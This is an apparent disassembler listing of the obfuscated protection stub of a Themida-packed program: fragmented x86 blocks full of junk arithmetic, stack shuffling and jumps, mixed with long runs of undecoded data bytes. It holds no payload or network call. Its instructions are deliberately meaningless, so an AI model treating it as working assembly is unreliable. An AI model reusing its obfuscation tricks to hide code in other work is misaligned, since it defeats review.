		dd 0B0240489h, 66C23030h, 0E924048Bh, 3DA0h, 0CA81DAF7h
		dd 4E084207h, 6685F281h, 8956FE8Eh, 0A499E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FBAD2:				; CODE XREF: Themida_:004FD7D4j
		add	esp, 4
		or	eax, eax
		jnz	loc_4FD2B5
		push	ebp
		push	1ACA3DEEh
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_4FD40C
; ---------------------------------------------------------------------------


loc_4FBAFF:				; CODE XREF: Themida_:004FEDAEj
		mov	eax, [esp]
		jmp	loc_4F9565
; ---------------------------------------------------------------------------


loc_4FBB07:				; CODE XREF: Themida_:004FFA32j
		xor	ecx, 68EC44E7h
		mov	ebx, [esp]
		push	7
		jmp	loc_50268C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 54525F24h, 0BFFE9h, 24348B00h, 4C481h, 0DFE90000h, 0ADFFFFA1h
		dd 1B85053h, 35723855h,	60EF3FC5h, 0F704E0C1h, 0FF8D2DD0h
		dd 0C389730Dh, 5BD82958h, 566BE9h, 8E5C100h, 87E7C581h
		dd 0EE0150FCh, 0E8E9505Dh, 8BFFFFBAh, 0F662424h, 43E9C8B6h
		dd 81FFFFBAh, 74D398C6h, 45F12DFBh, 0F02955A0h,	0A045F105h
		dd 0D0015E55h, 0FA261205h, 83595A5Ch, 148904ECh, 3988BA24h
		dd 0DAF72DBEh, 3E4BE9h,	0BA524500h, 2115704Ch, 4206EAC1h
		dd 69B6EA81h, 0BE56299Eh, 0CC12B523h, 315EF229h, 0F3C4E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FBBC2:				; CODE XREF: Themida_:004F798Dj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		div	cx
		push	ebx
		mov	ebx, esp
		push	1A90h
		jmp	loc_4F5D46
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFB144E9h, 4C481FFh, 87000000h, 0E95C2404h,	0FFFFA122h
		dd 0C6FEDEF6h, 8890C680h, 0C8005AF1h, 8B665966h, 0D8E92414h
		dd 8B000055h, 0D3662424h, 0E99C2404h, 0FFFFA0FEh, 0C281E289h
		dd 4, 0F9D8E953h, 0EFC1FFFFh, 0D8F79707h, 5BA2E997h, 2E050000h
		dd 2D05DE67h, 9418A236h, 48BC301h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	edx
		jmp	loc_4F7530
; ---------------------------------------------------------------------------
		db 5
		dd 7813876h, 7CE8BA52h,	0C28115A4h, 25FB416Ah, 0E908EAC1h
		dd 3F9Ch, 81E28952h, 4C2h, 4C28300h, 5C241487h,	0BB53D801h
		dd 7ACB3D0Eh, 0FFF1E7E9h, 0E9E8B0FFh, 0FFFFC73Ch, 5B241C29h
		dd 7DDBC381h, 0DBF75EB5h, 15B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FBCA1:				; CODE XREF: Themida_:004FC78Dj
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 3
		jmp	loc_4F78D6
; ---------------------------------------------------------------------------


loc_4FBCB2:				; CODE XREF: Themida_:004FB253j
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 0E9F03059h, 0FFFFE2EDh, 24048B66h, 525B5453h
		dd 0FFD7CCE9h, 4C581FFh, 87000000h, 0FF5C242Ch,	525B2434h
		dd 0C2815A54h, 4, 0FFAF42E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FBCF1:				; CODE XREF: Themida_:004F859Cj
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	edx
		jmp	loc_4F95EF
; ---------------------------------------------------------------------------
		dd 5113EA81h, 48B5CABh,	3AFEE924h, 8B660000h, 35E9240Ch
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FBD1B:				; CODE XREF: Themida_:00500A39j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_4F8A66
; ---------------------------------------------------------------------------
		dd 122DE956h, 0E9480000h, 577Eh, 5DA1EE81h, 6BE9597Dh
		dd 8900002Fh, 0ECE9240Ch, 0B300005Ah, 0F6C3FE8Dh, 7EB80DBh
		dd 0FFC12DE9h, 0F2C180FFh, 0D1E9C800h, 0C0000012h, 0F2E907E2h
		dd 81FFFFA0h, 4C4h, 2434FF00h, 0B2E9575Ah, 8100002Eh, 42628ECDh
		dd 3699E96Fh, 0E9510000h, 0FFFFDCF3h
; ---------------------------------------------------------------------------


loc_4FBD8C:				; CODE XREF: Themida_:004F823Cj
		sub	edx, 249A30A8h
		mov	edi, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_5026F3
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0F6CFB624h, 14DAE9D6h, 348B0000h, 4C48124h, 83000000h
		dd 148704C2h, 34FF5C24h, 2434FF24h, 4C48359h, 7AF868h
		dd 24048900h, 5156E089h, 39020C68h, 0E9D1592Bh,	0AE98141h
		dd 81570256h, 8462FCF1h, 0D1A7E9A0h, 0CB01FFFFh, 4C38359h
		dd 1F74E9h, 4E2C100h, 5134EA81h, 0C28147A2h, 70951B10h
		dd 9507EA81h, 1CE9CB68h, 81FFFFC4h, 4C4h, 4B85000h, 81000000h
		dd 2D51DFEAh, 0AE95511h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FBE2B:				; CODE XREF: Themida_:0050122Dj
		add	eax, esi
		add	eax, 733F0A59h
		jmp	loc_4FF7C0
; ---------------------------------------------------------------------------


loc_4FBE37:				; CODE XREF: Themida_:004FFC30j
		mov	esi, 26725222h
		sub	ecx, esi
		pop	esi
		push	0BFFh
		mov	[esp], eax
		push	edi
		push	ecx
		mov	ecx, 4B336AF3h
		mov	edi, ecx
		pop	ecx
		push	2E8Ch
		mov	[esp], ebp
		push	68E63F26h
		pop	ebp
		jmp	loc_4F7247
; ---------------------------------------------------------------------------
		dd 0E12D9242h, 11DE372h, 0E7C158C7h, 0B95106h, 0E9000000h
		dd 0FFFFB725h, 4EC815Eh, 89000000h, 6853240Ch, 2E9B03AFh
		dd 4A73E95Bh, 0B5680000h, 0E953CE07h, 0FFFFEAA2h, 25CEE95Eh
		dd 68660000h, 4280000h,	24048A24h, 81E78957h, 4C7h, 2C78300h
		dd 0E9243C87h, 0AE8h, 2B850h, 0C3010000h, 0FFA44EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FBECD:				; CODE XREF: Themida_:004FD330j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		sub	eax, 4C8161E0h
		pop	edi
		push	402Eh
		mov	[esp], edi
		push	616C05D8h
		mov	edi, [esp]
		push	edi
		jmp	loc_501A3B
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 81h
		dd 0FA2206EFh, 0FFF901FFh, 575F2434h, 0BD55E789h, 4, 0FFE2E3E9h
		dd 240C8BFFh, 5FB0E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FBF19:				; CODE XREF: Themida_:004F937Aj
		xor	al, dl
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	ah, 3Ch
		neg	ah
		push	edx
		mov	dl, 0FCh
		or	ah, dl
		jmp	loc_4FF6DB
; ---------------------------------------------------------------------------
		dd 2A76BA52h, 0DAF76974h, 655CE281h, 0EA8100A9h, 0FEDAF7D7h
		dd 24048752h, 487D0F7h,	420E924h, 0BBE90000h, 89FFFF9Dh
		dd 52552424h, 336FE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FBF61:				; CODE XREF: Themida_:004FA228j
		push	576h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		jmp	loc_4FF263
; ---------------------------------------------------------------------------


loc_4FBF78:				; CODE XREF: Themida_:004F9A4Fj
		pop	esp
		mov	[esp], edi
		jmp	loc_4F790E
; ---------------------------------------------------------------------------
aIssm		db 'ˆáéM%',0
		align 4
		dd 0B0E9CB87h, 57FFFFBCh, 662AE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FBF95:				; CODE XREF: Themida_:004F80BAj
		add	ecx, 0FFFFFFFFh
		shr	ecx, 1
		xor	ecx, 59575736h
		mov	ebp, ecx
		jmp	loc_500570
; ---------------------------------------------------------------------------
		db 0BFh
		dd 409379B0h, 0C101C783h, 0E94F02E7h, 0C91h, 0C4757BDh
		dd 0FFED8163h, 521C442Ch, 0E6517CBAh, 0BBABE93Bh, 8B5FFFFh
		dd 8007E580h, 0EA30DFC5h, 8BD00059h, 7AE92414h,	0FFFFFFAAh
		dd 0F1E92434h, 8BFFFFF4h, 42E9241Ch, 54000063h,	4C7815Fh
		dd 55000000h, 4BDh, 5DEF0100h, 8B243C87h, 0C5812424h, 4
		dd 429BE9h, 2C0D2C00h, 9AE95BFDh, 50FFFFDEh, 42474FFh
		dd 24048F58h, 0F87FE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FC02E:				; CODE XREF: Themida_:004F9D0Cj
		pop	edi
		push	esi
		push	ebp
		push	ecx
		jmp	loc_4F80B2
; ---------------------------------------------------------------------------
		db 52h
		dd 0B1E906B6h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FC03F:				; CODE XREF: Themida_:004FA606j
		push	ebx
		jmp	loc_4FAD30
; ---------------------------------------------------------------------------
		db 0E9h, 0C8h, 9Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FC04A:				; CODE XREF: Themida_:004FD221j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_4F8E7D
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 35h
		dd 29E25FA4h, 5353E9FBh, 0F2810000h, 0B891B7Dh,	3478E9h
		dd 24348B00h, 8104C483h, 4C6h, 4BB5300h, 29000000h, 34875BDEh
		dd 1C895C24h, 170BE924h, 0EC810000h, 4,	0FFEF0EE9h, 0B86650FFh
		dd 356619C5h, 0D660052h, 2D666350h, 29664388h, 506658C3h
		dd 0FFB975E9h, 81E789FFh, 4C7h,	2BB5300h, 81000000h, 2B678BC7h
		dd 55DF014Ah, 2B4FC4BDh, 0E0E58114h, 811FC769h,	4D06F7F5h
		dd 6EDC10Dh, 5EB7F581h,	0EF294A4Eh, 59A7E9h, 5FFE2900h
		dd 1557F4BBh, 0FDBA5206h, 8174453Fh, 327796F2h,	0E90EE976h
		dd 8B66FFFFh, 0E9562404h, 40ECh
; ---------------------------------------------------------------------------


loc_4FC124:				; CODE XREF: Themida_:004F724Fj
		pop	edi
		push	esi
		jmp	loc_4F9CE3
; ---------------------------------------------------------------------------
		db 29h
		dd 0C15F243Ch, 0E7C105E7h, 85C78104h, 217E03A3h, 0E3C15FFBh
		dd 0C9E38108h, 0E97F8A16h, 0FFFFC9C0h, 515AD088h, 0F58086B5h
		dd 59E828D8h, 0C2300F34h, 0C8EB8058h, 96C380h, 4A51E9D3h
		dd 0C2810000h, 4, 1F89E9h, 0E9D7F700h, 0FFFFFAA6h, 4C281h
		dd 0C2830000h, 0E0895004h, 405h, 42D00h, 4870000h, 14895C24h
		dd 0B4F9E924h, 77FFFFFFh, 58669D1Ch, 9C240418h,	0FF9B65E9h
		dd 0B85046FFh, 37F77D9Eh, 0E940E0D1h, 0FFFF9E8Ah, 8B243487h
		dd 0F7662424h, 3E8AE9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FC1CA:				; CODE XREF: Themida_:00501F2Ej
		mov	edx, 4
		add	ecx, edx
		jmp	loc_501C09
; ---------------------------------------------------------------------------
		dw 1489h
		dd 80B3B224h, 0A4E97EF2h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_4F74F6
; ---------------------------------------------------------------------------


loc_4FC1F1:				; CODE XREF: Themida_:004FEA3Ej
		mov	esi, 60DD450Eh
		add	eax, esi
		pop	esi
		sub	eax, 4F864D3Ah
		or	eax, 1D3537D4h
		xor	eax, 2B871273h
		sub	ecx, eax
		pop	eax
		mov	ebp, ecx
		pop	ecx
		shl	ebp, 1
		xor	ebp, 0FBA2A44h
		and	ebp, 5D2328A9h
		push	edx
		mov	edx, 0B453BA2h
		sub	ebp, edx
		pop	edx
		jmp	loc_4FEB04
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 34FF0424h, 24048B24h, 4C91E9h, 24048B00h, 8104C483h
		dd 54A242Ch, 2C81390Ah,	3716DF24h, 24040168h, 0DF240481h
		dd 81683716h, 54A2404h,	0B951390Ah, 330121F8h, 4244C01h
		dd 4EC8359h, 0BB241C89h, 1E015C1Dh, 0A5BE9h, 0C8B6600h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 54241C89h
		dd 0FFA273E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FC299:				; CODE XREF: Themida_:00500CEDj
		push	esp
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_4F7396
; ---------------------------------------------------------------------------
		db 0F7h, 1Ch, 24h
		dd 9A64E99Ch, 0C381FFFFh, 4, 4B850h, 0C3010000h, 241C8758h
		dd 4C1815Ch, 83000000h,	0C8704C1h, 24248B24h, 0FF9A3DE9h
		dd 240C8BFFh, 0E904C483h, 0FFFFDD94h, 0E9C32966h, 0E7Dh
; ---------------------------------------------------------------------------


loc_4FC2E8:				; CODE XREF: Themida_:004F5FD2j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esi
		mov	esi, 248C1817h
		push	edi
		mov	edi, 1273B78h
		or	edi, 13F36481h
		shl	edi, 6
		shr	edi, 4
		jmp	loc_502589
; ---------------------------------------------------------------------------


loc_4FC311:				; CODE XREF: Themida_:004FB817j
		push	ecx
		mov	ecx, 4
		jmp	loc_4FA9A2
; ---------------------------------------------------------------------------


loc_4FC31C:				; CODE XREF: Themida_:004FDB13j
		mov	[edx], cl
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		mov	ebx, [esp]
		push	edx
		jmp	loc_500E10
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 3811E9h, 280E2C00h, 8B0E04E8h, 0C481240Ch, 4, 0DDC380h
		dd 545151C3h, 5651E959h, 515C0000h, 0C181E189h,	4, 8704E983h
		dd 43E9240Ch, 88000005h, 0A323E9C5h, 815AFFFFh,	31391DCAh
		dd 38F0E913h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FC37E:				; CODE XREF: Themida_:004FB6DBj
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 59407D50h
		sub	esi, 59407D4Ch
		add	ebp, 473731CCh
		add	ebp, 266908EAh
		add	ebp, esi
		sub	ebp, 266908EAh
		sub	ebp, 473731CCh
		mov	esi, [esp]
		jmp	loc_4F5FCF
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 89C38924h, 0F9E95BD9h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FC3BF:				; CODE XREF: Themida_:004F6AB4j
		push	1D75h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_4F72A8
; ---------------------------------------------------------------------------


loc_4FC3CE:				; CODE XREF: Themida_:004F6BD1j
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_4F8217
; ---------------------------------------------------------------------------
		db 80h
		dd 0EB28F6C3h, 0E9F6EB80h, 0FFFFC363h, 8104C483h, 4916DAEBh
		dd 4EC8341h, 5542E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FC3FD:				; CODE XREF: Themida_:004F8EEDj
		mov	edx, 2C83F653h
		add	ecx, edx
		pop	edx
		jmp	loc_501740
; ---------------------------------------------------------------------------
		dw 0D0F6h
		dd 8058C388h, 0DBF6D8EBh, 0F607EBC0h, 5E3C0DBh,	0E901EB80h
		dd 0FFFFE1AEh, 33240431h, 248B2404h, 0CFF6624h,	0DBE99C24h
		dd 52FFFF98h, 4BAh, 24540100h, 0A7E95A04h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FC447:				; CODE XREF: Themida_:004F8134j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	edi
		push	2F1Ch
		mov	[esp], esi
		push	737Fh
		mov	[esp], ebp
		push	79020664h
		jmp	loc_4F8BD2
; ---------------------------------------------------------------------------
aZwuh5zSB	db 'ZWUh5z½|]é{B',0
		align 2
		dw 895Ch
		dd 0E589242Ch, 0DEA6E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FC486:				; CODE XREF: Themida_:004FA38Fj
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_4FCD74
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0F6EDD0F4h, 0E54EE9D5h, 8B66FFFFh, 0EC81240Ch, 4, 68243489h
		dd 3936h, 83242489h, 0FF042404h, 348B2434h, 61DBE924h
		dd 75680000h, 89000037h, 81502414h, 59B22434h, 148B1C39h
		dd 4EC8124h, 89000000h,	0E789243Ch, 5D21BE56h, 0E9553521h
		dd 5707h, 4B850h, 0C3010000h, 89535258h, 2CA2E9E3h, 2C8B0000h
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 0FFB11BE9h
		dd 0B1E957FFh, 51FFFFE7h, 148ACB9h, 327DE945h, 515E0000h
		dd 24A6B850h, 0EF055D19h, 2D571518h, 2AD0428Fh,	80952E2Dh
		dd 58C1890Ch, 1AE9CF09h, 68000058h, 3509h, 0FFFE5DE9h
		dd 0E95358FFh, 0FFFFDC2Bh, 24048F5Ah, 0D324248Bh, 0E99C2424h
		dd 0FFFF97A6h
; ---------------------------------------------------------------------------


loc_4FC56C:				; CODE XREF: Themida_:004F64FCj
		xor	esi, 6C0C5EE2h
		jmp	loc_4FB0A1
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0A6F480D4h, 3499E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FC581:				; CODE XREF: Themida_:004FED75j
		neg	eax
		or	eax, 41E945DBh
		jmp	loc_4FEA3D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 990BE924h, 0EA81FFFFh, 37A99D69h, 565AD329h,	0E562A1BEh
		dd 5EF20109h, 705FBE56h, 0F2296215h, 8324348Bh,	60E904C4h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FC5BB:				; CODE XREF: Themida_:004FA600j
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ebp
		push	ecx
		mov	ecx, 78046A95h
		sub	ecx, 31B03DEAh
		jmp	loc_4FD652
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240410h, 0FF9729E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FC5E9:				; CODE XREF: Themida_:004FB459j
		mov	bh, dl
		mov	[edi+eax*4], bh
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_4F8F07
; ---------------------------------------------------------------------------
		db 5
		dd 1F7752F2h, 84E9C829h, 8100003Ah, 0F805C6C3h,	81D30109h
		dd 0F805C6EBh, 2F58E909h, 814D0000h, 166F8BEDh,	881E93Dh
		dd 0BD550000h, 4FC102D2h, 4246C31h, 1576E9h, 0C09FB100h
		dd 0AFE908E1h, 31FFFFE1h, 0BD51E9EEh, 0E280FFFFh, 0A0F280FEh
		dd 5AD328h, 55FE9D8h, 74FF0000h, 78E90424h, 83FFFFAEh
		dd 0B95104C4h, 4, 5359CB01h, 42474FFh, 81241C8Bh, 4C4h
		dd 59E4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FC682:				; CODE XREF: Themida_:004FB1C2j
		xor	ebx, 0C1DCAA21h
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jnz	loc_4F9459
		push	1
		push	dword ptr [esp]
		jmp	loc_4FA605
; ---------------------------------------------------------------------------
		db 25h,	10h, 61h
		dd 0CF351836h, 0E9624A5Dh, 4742h, 42474FFh, 24048F5Dh
		dd 6624248Bh, 5724048Bh, 0F4685F54h, 89000008h,	68572434h
		dd 4A631C6Eh, 0FF96E5E9h, 5FFD89FFh, 13C5815Ah,	81BD34E9h
		dd 852C0EAh, 81EA0102h,	852C0C2h, 0EAE95D02h, 81000010h
		dd 4C4h, 4C48300h, 4EE81h, 34870000h, 0C895C24h, 0DF7BE924h
		dd 5F54FFFFh, 4C781h, 0E9530000h, 0FFFFCC86h, 4C2815Ah
		dd 83000000h, 0D1E904ECh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FC733:				; CODE XREF: Themida_:004FF67Ej
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		push	4
		pop	ecx
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_4F7F8B
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 0DFh
		dd 0E95A9C1Ch, 4EBEh, 56E9C621h, 0ACFFFFBDh, 6BF068h, 24148900h
		dd 0D0002BB2h, 8B2434FFh, 35E92414h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FC78B:				; CODE XREF: Themida_:0050175Fj
		mov	ecx, ebp
		jmp	loc_4FBCA1
; ---------------------------------------------------------------------------


loc_4FC792:				; CODE XREF: Themida_:004FD980j
		add	eax, ebp
		jmp	loc_4F86EC
; ---------------------------------------------------------------------------


loc_4FC799:				; CODE XREF: Themida_:004FB50Cj
		mov	eax, 1CE219A5h
		and	esi, eax
		pop	eax
		push	ebp
		mov	ebp, 1
		jmp	loc_4FE04C
; ---------------------------------------------------------------------------
		dd 305BDA00h, 98C2E9D3h, 2CACFFFFh, 2C2604F0h, 52D82834h
		dd 5166B3B6h, 0EE00A8B5h, 0DAE95966h, 0B8FFFFC0h, 4, 8158C701h
		dd 4C7h, 74FF5700h, 3C8B0424h, 205EE924h, 0EE810000h, 0D6630640h
		dd 485EF009h, 0E9FE8796h, 4646h
; ---------------------------------------------------------------------------


loc_4FC7FC:				; CODE XREF: Themida_:004F99EDj
		add	ebx, 0FFBCEFEBh
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_4F651C
; ---------------------------------------------------------------------------
		dw 0CB29h
		dd 83240C8Bh, 0DBF704C4h, 41B95156h, 8907C66Fh,	240C8BCEh
		dd 0FF9C0FE9h, 0E08950FFh, 405h, 4C08300h, 8B240487h, 0D3E92424h
		dd 66000018h, 66243431h, 66243433h, 66243431h, 2477E956h
		dd 952D0000h, 53034D52h, 0C381E389h, 4,	4EB81h,	1C870000h
		dd 3C895C24h, 81E78924h, 4C7h, 4EF8100h, 87000000h, 0E95C243Ch
		dd 4E40h, 240C8B66h, 77868h, 243C8900h,	81E28952h, 4C2h
		dd 4EA8100h, 0E9000000h, 0FFFFA358h, 4DE8E95Eh,	895C0000h
		dd 55E9240Ch, 88000018h, 0D7E95808h, 66FFFFEEh,	0F8E9F531h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FC8C7:				; CODE XREF: Themida_:004F693Cj
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_4F8ADE
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0E92434FFh, 0FFFFC3ABh, 54241C89h, 64EE9h
		dd 84E98100h, 1DB840Fh,	0EA8159CAh, 4, 5C241487h, 81242489h
		dd 42404h, 3C8B0000h, 4C48324h,	4C781h,	52550000h, 3168ACBAh
		dd 1ECA816Bh, 0E9472B47h, 0FFFF94B9h, 86B93B8h,	0E9C6014Fh
		dd 1EF5h, 95FF821h, 0D8840FC0h,	83FFFFAAh, 48904ECh, 0E685524h
		dd 5D06196Ch, 1679B951h, 0CD016E47h, 81240C8Bh,	4C4h, 53525600h
		dd 0FF9CA1E9h, 0BD5556FFh, 16EC7643h, 525DEE89h, 9A4291BAh
		dd 2EAC118h, 7BBDE281h,	814A5FE2h, 0FC1E5BEAh, 8EAC133h
		dd 0B1CEEA81h, 0D189B46Fh, 0EF9CE95Ah, 0E959FFFFh, 516Dh
		dd 8B24048Fh, 8C682424h, 0E9000040h, 0FFFFE2C3h, 0E924248Bh
		dd 0FFFFD409h
; ---------------------------------------------------------------------------


loc_4FC9B0:				; CODE XREF: Themida_:004F7B58j
		sub	[esp+4], edi
		pop	edi
		sub	dword ptr [esp], 634F64AFh
		push	ecx
		push	esi
		push	edx
		mov	edx, 0DFB42B8h
		inc	edx
		jmp	loc_50009F
; ---------------------------------------------------------------------------


loc_4FC9CA:				; CODE XREF: Themida_:004FA99Dj
		pop	esp
		jmp	loc_4F8E14
; ---------------------------------------------------------------------------
		dd 0B47DA7BFh, 0CA75BE55h, 0FE2959A2h, 0FFADD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FC9E1:				; CODE XREF: Themida_:004FA1C4j
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_4F8982
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 68532404h, 56EFh, 50242489h,	488E9h,	0C8B25200h, 0FE04E2C0h
		dd 2E2C0CAh, 0E9D6C280h, 0FFFFF076h, 0E959CA29h, 446Ah
; ---------------------------------------------------------------------------


loc_4FCA24:				; CODE XREF: Themida_:004F932Bj
		or	ecx, 3C340848h
		add	ecx, 0B65B8FDAh
		xor	esi, ecx
		pop	ecx
		xor	ebx, esi
		pop	esi
		add	ebp, ebx
		pop	ebx
		push	esi
		push	eax
		jmp	loc_500D87
; ---------------------------------------------------------------------------
		dd 24348966h, 4EC81h, 0CBE90000h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_4FCA4F:				; CODE XREF: Themida_:004F6C0Ej
		not	ebx
		jmp	loc_4F74E4
; ---------------------------------------------------------------------------


loc_4FCA56:				; CODE XREF: Themida_:004FCDC2j
		add	ebp, 2DB45A28h
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		jmp	loc_4F819D
; ---------------------------------------------------------------------------


loc_4FCA6A:				; CODE XREF: Themida_:00500BEFj
		xor	eax, ebp
		pop	ebp
		shl	eax, 3
		jmp	loc_4F6FE4
; ---------------------------------------------------------------------------


loc_4FCA75:				; CODE XREF: Themida_:004FAED6j
		sub	edi, 0F4082B8Bh
		sub	esi, edi
		pop	edi
		jmp	loc_4F997A
; ---------------------------------------------------------------------------
		db 66h
		dd 414BEB81h, 0E8AE9h, 42F76800h, 49E90000h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FCA97:				; CODE XREF: Themida_:004F9E5Aj
		push	ecx
		mov	ecx, 2
		sub	ebx, 1C4299h
		sub	ebx, ecx
		add	ebx, 1C4299h
		jmp	loc_500762
; ---------------------------------------------------------------------------


loc_4FCAB0:				; CODE XREF: Themida_:004F7225j
		push	esp
		jmp	loc_5009F5
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 80E500B7h, 0C580B7C5h, 30E95819h, 51FFFF98h,	0FFFE94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FCACD:				; CODE XREF: Themida_:00500EADj
		pop	esi
		xor	esi, 18A948A1h
		mov	eax, esi
		pop	esi
		sub	ebx, 70022E9h
		add	ebx, eax
		push	edi
		mov	edi, 523D1172h
		xor	edi, 6240592Ah
		sub	edi, 530D6638h
		add	edi, 47311F33h
		jmp	loc_4FD0D5
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFFC39Ch, 585450ACh, 0FFE503E9h, 0E9C201FFh
		dd 0FFFF927Ah, 240C8B66h, 8904EC83h, 0F3E9243Ch
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FCB23:				; CODE XREF: Themida_:004F9BD3j
		mov	[esp], eax
		xchg	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 63C609D5h
		sub	ecx, 63C609D1h
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_4F9A4C
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4EC815Dh, 89000000h,	468241Ch, 5B000000h, 1C8BDD01h
		dd 4C48124h, 83000000h,	2C8704C5h, 0CFF5C24h, 9BE99C24h
		dd 81FFFF91h, 4EBh, 74FF5300h, 0F5E90424h, 89FFFFE2h, 24048BC3h
		dd 4C481h, 0DE090000h, 4698E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FCB9A:				; CODE XREF: Themida_:004FB5CCj
		mov	esi, ebx
		jmp	loc_4FF6C7
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 22A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FCBA9:				; CODE XREF: Themida_:004F641Dj
		add	eax, 4
		jmp	loc_4FF63D
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFF8DAE9h, 0DE685BFFh, 0E9000047h, 0FFFF95BFh
; ---------------------------------------------------------------------------


